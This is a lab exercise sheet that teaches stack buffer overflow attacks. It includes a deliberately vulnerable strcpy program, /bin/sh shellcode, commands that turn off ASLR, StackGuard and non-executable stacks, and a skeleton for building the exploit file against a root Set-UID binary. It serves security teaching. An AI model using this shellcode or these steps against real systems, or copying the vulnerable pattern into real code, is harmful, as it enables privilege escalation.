Exercise: Buffer Overflow (85 points) The Buffer Overflow vulnerability has been discovered as early as 1972, and has long been among the most critical application security flaws. It is still very relevant today. This vulnerability happens when a program writes in a buffer, and overruns its boundaries, writing in the adjacent memory locations. Because data (buffers) and control (return addresses) storage are mixed, buffer overflows can allow malicious users to execute arbitrary pieces of code, for example. In this lab, you will get an experience of this attack, and understand how it works.

1 Lab setup (14 points) 1.1 Buffer overflows (a) The program in Figure 1 contains a buffer overflow vulnerability. Locate the line where it occurs. Which simple countermeasures could one take to fix the code? (2 points) (b) Suppose that str is composed of 20 characters. Draw the stack frame for bof.Mark the direction in which the stack grows. In which direction does strcpy write? How does the program know where to continue executing when it finishes executing bof? (2 points) (c) What happens when str is composed of 517 characters? Draw the stack. What will the program do when it finishes executing bof? (2 points) (d) Draw what the stack should look like for a successful buffer overflow attack. Note that badfile is controlled by the user, and contains your shellcode, ie. the malicious code that you want executed. (2 points)

1.2 gdb For this lab, you will need to use a disassembler. gdb is installed on the Linux VM. You can also use other tools if you are more familiar with them, but this does not exempt you from gdb-specific questions. Save the code in Figure 1. Compile it and run it with gdb. What are the commands for the following tasks: (2 points) (a) Run the program (b) List the registers (c) List the functions (d) Print the assembly code for a function (e) Set a breakpoint (f) Print a stack frame

1.3 Ubuntu security mechanisms In Linux, several security mechanisms are implemented to hamper buffer overflow attacks. We first need to disable them.

(a) What is Address Space Randomization? Briefly explain how this mechanism helps against buffer overflow attacks. (2 points) Disable ASR: sysctl -w kernel.randomize_va_space=0 (b) StackGuard is a protection mechanism implemented by the GCC compiler. This set of patches will prevent buffer overflows from working. Which gcc optionallows to compile a program with StackGuard disabled? (1 point)

#include #include #include int bof(char *str) { char buffer [24]; strcpy(buffer , str); return 1; } int main(int argc , char **argv) { char str [517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str , sizeof(char), 517, badfile ); bof(str); printf("Returned properly "); return 1; } Figure 1: A program with a buffer overflow vulnerability

(c) Ubuntu used to allow executable stacks but for security reasons, a program now has to declare whether it requires executable stacks or not. The decision of making the stack executable or not is taken by the Kernel or the dynamic linker. What is the gcc option to mark an executables header with the executable stack flag? The non-executable flag? (1 point)

2 Attack (44 points) 2.1 Preparing the attack (a) For a buffer overflow attack, you need a shellcode. The shellcode you will use is stored in the code variable below. What does it do? (8 points) #include #include #include const char code[] = "\x31\xc0" /*Line 1: xorl %eax ,%eax*/ "\x50" /*Line 2: pushl %eax*/ "\x68""//sh" /*Line 3: pushl $0 x68732f2f */ "\x68""/bin" /*Line 4: pushl $0 x6e69622f */ "\x89\xe3" /*Line 5: movl %esp ,%ebx*/ "\x50" /*Line 6: pushl %eax*/ "\x53" /*Line 7: pushl %ebx*/ "\x89\xe1" /*Line 8: movl %esp ,%ecx*/ "\x99" /*Line 9: cdq*/ "\xb0\x0b" /*Line 10: movb $0x0b ,%al*/ "\xcd\x80" /*Line 11: int $0x80*/ ; int main(int argc , char **argv) { char buf[sizeof(code )]; strcpy(buf , code); ((void (*)( ))buf)( ); } Verify that the shellcode works by running the main function. When compiling it, make sure to enable the require executable stack option. (b) What are Set-UID programs? What are they typically used for? Which commands can be used to make a regular program a Set-UID program? (2 points) (c) For the exploit to work, you will also need vulnerable code. Save the code from Figure 1 in vulnerable.c. Compile it, making sure that StackGuard is disabled and executable stacks are required. Set the executables owner as root and make it Set-UID program. If, from a normal user account, you run the vulnerable program, with which privileges will it run? (1 point) (d) The badfile is under control of the user. Imagine that the file contains your shellcode. What should happen when the vulnerable program is run? (3 points)

2.2 Exploiting the vulnerability (a) To make your exploit work, you need to craft a suitable badfile. Complete the following code snippet so that your exploit works in gdb. Join your code to your report and detail why and how you crafted your payload. Screenshots arewelcome. (20 points) #include #include #include void main(int argc , char** argv) { char buffer [517]; FILE * badfile; /* Initialize buffer with 0x90 (NOP instruction )*/ memset (&buffer , 0x90 , 517); // Fill the buffer here badfile = fopen("./ badfile", "w"); fwrite(buffer , 517, 1, badfile ); fclose(badfile ); } Note: If you need to store a long integer in a buffer. char buffer [20]; long addr = 0xFFEEDE88; long *ptr = (long *) (buffer + i); *ptr = addr; (b) Does your exploit work when running it outside of gdb? Why? What could you do so that it works? (5 points) (c) What is the user id of your new process? What should you change to get a real root process? Explain why. (5 points)

3 Securities (12 points) 3.1 Address Randomization (a) Enable ASR: sysctl -w kernel.randomize_va_space=2. What should happen when you run the vulnerable program? (1 point) (b) Your program will not work every time you run it. Why? What can you do to get it to work more often? (2 points) 3.2 StackGuard Make sure ASR is disabled: sysctl -w kernel.randomize_va_space=0.

(a) Recompile your vulnerable program without the disabled StackGuard option.Does your exploit still work? Report your observations. (3 points) 3.3 Non-executable Stack Make sure ASR is disabled: sysctl -w kernel.randomize_va_space=0. (a) Recompile your vulnerable program with the non-executable flag on. Does the exploit work? Report your observations. (3 points) (b) Does the non-executable stack protection mechanism prevent any buffer overflow attack from working? If yes, explain why. If no, give a short example of a working attack. (3 points)

4 Conclusion (15 points) Summarize what you learnt about the Buffer Overflow attack. Include the following observations:

What is it? Why is it dangerous? What are the requirements to launch such an attack? (outside of security mechanism concerns) What are the current protections in Ubuntu against buffer overflows? Can they prevent any type of buffer overflow attack? What should a developer be especially wary about in order to avoid such attacks?